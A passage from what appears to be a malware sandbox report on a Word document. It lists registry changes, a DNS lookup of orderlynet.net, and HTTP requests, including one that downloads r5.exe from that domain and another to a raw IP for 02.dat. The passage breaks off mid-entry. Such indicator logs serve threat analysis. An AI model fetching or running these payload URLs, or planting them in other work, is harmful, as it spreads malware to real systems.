  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1656. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1657. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1658. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect"
  1717. ]
  1718.  
  1719. [*] Deleted Registry Keys: [
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\} #",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\ud!",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  1743. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  1745. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"
  1746. ]
  1747.  
  1748. [*] DNS Communications: [
  1749. {
  1750. "type": "A",
  1751. "request": "orderlynet.net",
  1752. "answers": [
  1753. {
  1754. "data": "89.47.94.113",
  1755. "type": "A"
  1756. },
  1757. {
  1758. "data": "2.185.239.164",
  1759. "type": "A"
  1760. },
  1761. {
  1762. "data": "91.201.175.46",
  1763. "type": "A"
  1764. },
  1765. {
  1766. "data": "5.56.73.146",
  1767. "type": "A"
  1768. },
  1769. {
  1770. "data": "91.104.177.151",
  1771. "type": "A"
  1772. },
  1773. {
  1774. "data": "84.238.144.29",
  1775. "type": "A"
  1776. },
  1777. {
  1778. "data": "89.190.74.198",
  1779. "type": "A"
  1780. },
  1781. {
  1782. "data": "213.164.242.16",
  1783. "type": "A"
  1784. },
  1785. {
  1786. "data": "95.43.57.155",
  1787. "type": "A"
  1788. },
  1789. {
  1790. "data": "109.175.7.8",
  1791. "type": "A"
  1792. }
  1793. ]
  1794. }
  1795. ]
  1796.  
  1797. [*] Domains: [
  1798. {
  1799. "ip": "200.75.226.9",
  1800. "domain": "orderlynet.net"
  1801. }
  1802. ]
  1803.  
  1804. [*] Network Communication - ICMP: []
  1805.  
  1806. [*] Network Communication - HTTP: [
  1807. {
  1808. "count": 1,
  1809. "body": "",
  1810. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1811. "user-agent": "Microsoft-CryptoAPI/6.1",
  1812. "method": "GET",
  1813. "host": "ocsp.digicert.com",
  1814. "version": "1.1",
  1815. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1816. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1817. "port": 80
  1818. },
  1819. {
  1820. "count": 1,
  1821. "body": "",
  1822. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1823. "user-agent": "Microsoft-CryptoAPI/6.1",
  1824. "method": "GET",
  1825. "host": "ocsp.msocsp.com",
  1826. "version": "1.1",
  1827. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1828. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1829. "port": 80
  1830. },
  1831. {
  1832. "count": 1,
  1833. "body": "",
  1834. "uri": "http://orderlynet.net/r5.exe",
  1835. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1836. "method": "GET",
  1837. "host": "orderlynet.net",
  1838. "version": "1.1",
  1839. "path": "/r5.exe",
  1840. "data": "GET /r5.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: orderlynet.net\r\nConnection: Keep-Alive\r\n\r\n",
  1841. "port": 80
  1842. },
  1843. {
  1844. "count": 1,
  1845. "body": "",
  1846. "uri": "http://54.38.127.28/02.dat",
  1847. "user-agent": "",
